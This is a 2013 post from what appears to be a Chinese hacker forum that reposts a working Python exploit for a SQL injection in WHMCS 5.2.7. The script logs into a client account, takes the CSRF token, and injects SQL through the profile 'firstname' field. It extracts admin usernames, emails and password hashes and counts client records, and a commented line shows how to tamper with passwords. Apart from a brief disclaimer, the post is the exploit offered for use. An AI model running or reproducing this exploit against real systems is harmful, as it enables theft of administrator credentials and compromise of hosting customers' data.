搜索
查看: 1035|回复: 2

WHMCS SQL注射 EXP

[复制链接]

432

主题

573

帖子

2543

积分

核心成员

Rank: 8Rank: 8

积分
2543
发表于 2013-10-8 21:50:42 | 显示全部楼层 |阅读模式
Localhost在汇报WHMCS sql注射的时候,顺便和EXP一起发布了,这里就将他转了过来!
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!


!/usr/bin/env python
# 2013/10/03 - WHMCS 5.2.7 SQL Injection
# http://localhost.re/p/whmcs-527-vulnerability

url = 'http://clients.target.com/' # wopsie dopsie
user_email = 'mysuper@hacker.account' # just create a dummie account at /register.php
user_pwd = 'hacker'

import urllib, re, sys
from urllib2 import Request, urlopen
ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"

def exploit(sql):
    print "Doing stuff: %s" % sql
    r = urlopen(Request('%sclientarea.php?action=details' % url, data="token=%s&firstname=%s&lastname=1&companyname=1&email=%s&paymentmethod=none&billingcid=0&address1=1&address2=1&city=1&state=1&postcode=1&country=US&phonenumber=1&save=Save+Changes" % (user[1], 'AES_ENCRYPT(1,1), firstname=%s' % sql, user_email), headers={"User-agent": ua, "Cookie": user[0]})).read()
    return re.search(r'(id="firstname" value="(.*?)")', r).group(2)

def login():
    print "Getting CSRF token"
    r = urlopen(Request('%slogin.php' % url, headers={"User-agent": ua}))
    csrf = re.search(r'(type="hidden" name="token" value="([0-9a-f]{40})")', r.read()).group(2)
    cookie = r.info()['set-cookie'].split(';')[0]
    print "Logging in"
    r = urlopen(Request('%sdologin.php' % url, data="username=%s&password=%s&token=%s" %(user_email, user_pwd, csrf), headers={"User-agent": ua, "Cookie": cookie})).read()
    if 'dologin.php' in r:
        sys.exit('Unable to login')
    else:
        return [cookie, re.search(r'(type="hidden" name="token" value="([0-9a-f]{40})")', r).group(2)]

user = login()
print exploit('(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,password SEPARATOR 0x2c20) FROM tbladmins)') # get admins
print exploit('(SELECT * FROM (SELECT COUNT(id) FROM tblclients) as x)') # just get a count of clients

# oh you want to be evil
#exploit("'DISASTER', password=(SELECT * FROM (SELECT password FROM tblclients WHERE email='%s' LIMIT 1) as x)#" % user_email)
您可以更新记录, 让好友们知道您在做什么...
专业回帖 该用户已被删除
发表于 2013-10-8 21:55:35 | 显示全部楼层
好好 学习了 确实不错
854955425 该用户已被删除
发表于 2013-10-8 22:06:45 | 显示全部楼层
过来看看的
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表